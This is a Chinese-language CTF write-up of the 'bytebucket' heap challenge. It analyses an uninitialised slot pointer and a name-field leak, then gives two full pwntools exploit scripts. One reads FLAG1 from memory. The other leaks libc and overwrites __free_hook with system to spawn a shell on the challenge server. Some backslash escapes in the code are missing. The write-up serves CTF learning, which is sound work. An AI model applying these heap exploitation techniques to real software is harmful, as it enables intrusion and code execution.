hackme.inndy.tw 上的 bytebucket writeup

阅读量    79693 |   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

程序分析

file

checksec

保护几乎全开

数据结构

  • bucket是一个如下结构的结构体,用单链表串联。根据bucket中的slot数(slot_count),bucket的大小也会变化,slot指针也会变化。
  • slot是malloc出来的char数组,其大小不做记录,只用于初始化。
  • 全局有一个globalp指针指向根bucket,也有一个currentp指针指向当前操作的bucket
struct bucket{
    bucket* next;
    int64 slot_count;
    char[16] bucket_name;
    char* slot0;
    char* slot1;
    ...
}

程序结构

初始化了2个bucket,其中第一个FLAG就在第一个bucket的slot中;第二个FLAG需要getshell获得

操作bucket

在open_bucket后才可以操作slot

寻找漏洞

观察free,无论是drop_bucket还是drop_data,free后指针被清0,没有UAF漏洞

  • 漏洞点1:在make_bucket时,如果传入size of slot content大小为0,则会跳过对slot指针的赋值。也就是该数据块原来是什么就还是什么,于是想到让这个部分设置为我们希望读取/修改内存的指针,就可以实现任意地址读、写。
  • 漏洞点2:输入bucket_name的函数没有在结尾强制加x00,可以让name为16个a,就会与slot0指针接上。list_bucket就会泄露出slot0地址。

 

FLAG1

make_bucket(1,"a"*16,[10],["bbb"]) 溢出堆指针,计算 FLAG1(内存)的地址

但是注意,如果flag1_addr中有0xa(n)时,会被替换为00,所以要重试

构造一个大小和bucket一样的slot,利用slot布局好内存,设置某个位置为flag1的指针

然后drop_data回到fastbin,等再make_bucket时,这块内存将作为bucket内存

此时原来的flag1还在

利用传入Size of content为0,避免对这块内存赋值,但是此时slot_count为1,在show_data中读取到内存中的FLAG。

完整payload

#!/usr/bin/env python2
# -*- coding:utf8 -*-

import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger


# context(os='linux', arch='amd64', log_level='debug') #i386 or amd64

#用python xxx.py elf 1调用远程
local = len(sys.argv) == 2

elf = ELF(sys.argv[1])

if local:
    io = process(sys.argv[1],env={"FLAG1":"flag{env}"})
else:
    io = remote("hackme.inndy.tw", 7722)

def make_bucket(slot_count,name,csize,cs):
    io.sendlineafter("What to do","1")
    io.sendlineafter("Size of bucket",str(slot_count))
    io.sendlineafter("Name of bucket",name)
    for i in range(slot_count):
        io.sendlineafter("Size of content",str(csize[i]))
        if (csize[i]!=0):
            io.sendafter("Content of slot",cs[i])

def list_bucket():
    io.sendlineafter("What to do","2")

def find_bucket(name):
    io.sendlineafter("What to do","3")
    io.sendlineafter("Bucket name to find",name)

def drop_bucket():
    io.sendlineafter("What to do","5")

def open_bucket():
    io.sendlineafter("What to do","6")

def show_data():
    io.sendlineafter("What to do","1")

def rename(name):
    io.sendlineafter("What to do","4")

def drop_data(idx):
    io.sendlineafter("What to do","3")
    io.sendlineafter("Which line of data",str(idx))

def close_bucket():
    io.sendlineafter("What to do","5")


make_bucket(1,"a"*16,[10],["bbb"]) #name溢出堆指针,计算 FLAG1(内存)的地址

list_bucket()
io.recvuntil("a"*16)
c = io.recvuntil("";",drop=True)
slot1 = u64(c.ljust(8,'x00'))
success("slot1 : %x"%slot1)
flag1_addr = slot1 - 224
success("flag1_addr : %x"%flag1_addr)
fs = "%x"%flag1_addr
if "0a" in fs:
    success("0a in address! Try again!")
    exit()

make_bucket(1,"ccc",[40],["d"*32+p64(flag1_addr)])
open_bucket()
drop_data(0)
close_bucket()

make_bucket(1,"eee",[0],[''])
open_bucket()
show_data()

io.interactive()

 

FLAG2

上述过程可以实现任意地址读,但是由于slot的编辑(edit_data)会用strlen判断原来slot的大小,所以如果要实现任意地址写,则需要用rename函数来修改bucket的name字段。

由于程序保护几乎全开,尤其RELRO限制了改不了got表,就改__free_hook

  • 套路1:利用FLAG1同样的方法,获取堆地址,确定bucket2的地址
  • 套路2:利用“利用unsorted bin获得main_arena地址”的套路吗,获取main_arena地址进而获得libc地址
make_bucket(4,"aaaa",[0x80,0x80,0x80,0x80],["bbbb","cccc","dddd","eeee"]) 
open_bucket()
drop_data(0)
drop_data(2)
close_bucket()

make_bucket(2,"f"*16,[0x80,0x80],["g"*8,"hhhh"])

与FLAG1同样的套路构造内存,这次是让bucket3->slot0=bucket2

make_bucket(2,"bucket2",[40,8],["d"*32+p64(bucket2),"/bin/shx00"])
open_bucket()
drop_data(0) #带有bucket2指针的块进入fastbin
close_bucket()

make_bucket(1,"bucket3",[0],['']) 
open_bucket()

先利用edit_data函数,修改slot对应的内存

free_hook_addr = libc.symbols["__free_hook"] - 0x10 #可以修改的地方在0x10处
data = p64(free_hook_addr).rstrip("x00")
csize = len(data)
success("free_hook size: %d"%csize)
success("__free_hook - 0x10 : %x"%free_hook_addr)

edit_data(0,csize,data) #将bucket2->next改成指向想要的目标(伪bucket)
close_bucket()

此时locked->bucket1->bucket2->fake bucket
利用next_bucket函数进入fake_bucket,用rename函数修改fake_bucket的字段(之所以用rename而不是edit_data是因为edit_data修改的长度会根据原来内容strlen的结果,free_hook这里原来是NULL,所以不能改长;而rename则只限制32长度,满足要求)

find_bucket("bucket2")
next_bucket() #进入到伪bucket,修改名字
open_bucket()

system_addr = libc.symbols["system"]
success("system_addr : %x"%system_addr)

rename(p64(system_addr)) #
close_bucket()

free掉有/bin/sh那块内存,触发__free_hook

find_bucket("bucket2")
open_bucket()
drop_data(1) #free掉有/bin/sh那块内存,触发__free_hook

完整的payload

#!/usr/bin/env python2
# -*- coding:utf8 -*-

import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger

context(os='linux', arch='amd64', log_level='debug') #i386 or amd64

#用python xxx.py elf 1调用远程
local = len(sys.argv) == 2

elf = ELF(sys.argv[1])

if local:
    io = process(sys.argv[1],env={"FLAG1":"flag{env}"})
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #64bit
    main_arena_offset = 3951392
else:
    io = remote("hackme.inndy.tw", 7722)
    libc = ELF("libc-2.23.so.x86_64")
    main_arena_offset = 0x3C3B20

def make_bucket(slot_count,name,csize,cs):
    io.sendlineafter("What to do","1")
    io.sendlineafter("Size of bucket",str(slot_count))
    io.sendlineafter("Name of bucket",name)
    for i in range(slot_count):
        io.sendlineafter("Size of content",str(csize[i]))
        if (csize[i]!=0):
            io.sendafter("Content of slot",cs[i])

def list_bucket():
    io.sendlineafter("What to do","2")

def find_bucket(name):
    io.sendlineafter("What to do","3")
    io.sendlineafter("Bucket name to find",name)

def drop_bucket():
    io.sendlineafter("What to do","5")

def open_bucket():
    io.sendlineafter("What to do","6")

def show_data():
    io.sendlineafter("What to do","1")

def edit_data(idx,size,data):
    io.sendlineafter("What to do","2")
    io.sendlineafter("Which line of data",str(idx))
    io.sendlineafter("Size of new content",str(size))
    io.sendafter("New content", data)


def rename(name):
    io.sendlineafter("What to do","4")
    io.sendlineafter("New bucket name",name)

def drop_data(idx):
    io.sendlineafter("What to do","3")
    io.sendlineafter("Which line of data",str(idx))

def close_bucket():
    io.sendlineafter("What to do","5")

def next_bucket():
    io.sendlineafter("What to do","4")

make_bucket(4,"aaaa",[0x80,0x80,0x80,0x80],["bbbb","cccc","dddd","eeee"]) 
open_bucket()
drop_data(0)
drop_data(2)
close_bucket()

make_bucket(2,"f"*16,[0x80,0x80],["g"*8,"hhhh"])


#name溢出堆指针,获得bucket2的地址
list_bucket()
io.recvuntil("f"*16)
c = io.recvuntil("";",drop=True)
slot = u64(c.ljust(8,'x00'))
success("slot : %x"%slot)
bucket2 = slot - 368 + 0x50
success("bucket2 : %x"%bucket2)

#利用unsorted bin获得main_arena地址,从而获得libc基地址
open_bucket()
show_data()
io.recvuntil("g"*8)
bk = u64(io.recvuntil("nRow[",drop=True).ljust(8,'x00'))
main_arena = bk - 216
success("main_arena : %x"%main_arena)
libc.address = main_arena - main_arena_offset
success("libc.address : %x"%libc.address)
close_bucket()

#恢复环境,清空(fastbin里面还有)
drop_bucket()
find_bucket("aaaa")
drop_bucket()
#locked->bucket1
find_bucket("/home/ctf/flag")

#构造一个bucket2

make_bucket(2,"bucket2",[40,8],["d"*32+p64(bucket2),"/bin/shx00"])
#locked->bucket1->bucket2
open_bucket()
drop_data(0) #带有bucket2指针的块进入fastbin
close_bucket()

#从fastbin中获取到刚才free掉的块
#bucket2->next = bucket3
#locked->bucket1->bucket2->bucket3(bucket3->slot0=bucket2)
make_bucket(1,"bucket3",[0],['']) 
open_bucket()

free_hook_addr = libc.symbols["__free_hook"] - 0x10 #可以修改的地方在0x10处
data = p64(free_hook_addr).rstrip("x00")
csize = len(data)
success("free_hook size: %d"%csize)
success("__free_hook - 0x10 : %x"%free_hook_addr)

edit_data(0,csize,data) #将bucket2->next改成指向想要的目标(伪bucket)
close_bucket()

#locked->bucket1->bucket2->fake bucket
find_bucket("bucket2")
next_bucket() #进入到伪bucket,修改名字
open_bucket()

system_addr = libc.symbols["system"]
success("system_addr : %x"%system_addr)

rename(p64(system_addr)) #
close_bucket()

find_bucket("bucket2")
open_bucket()
drop_data(1) #free掉有/bin/sh那块内存,触发__free_hook

io.interactive()
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多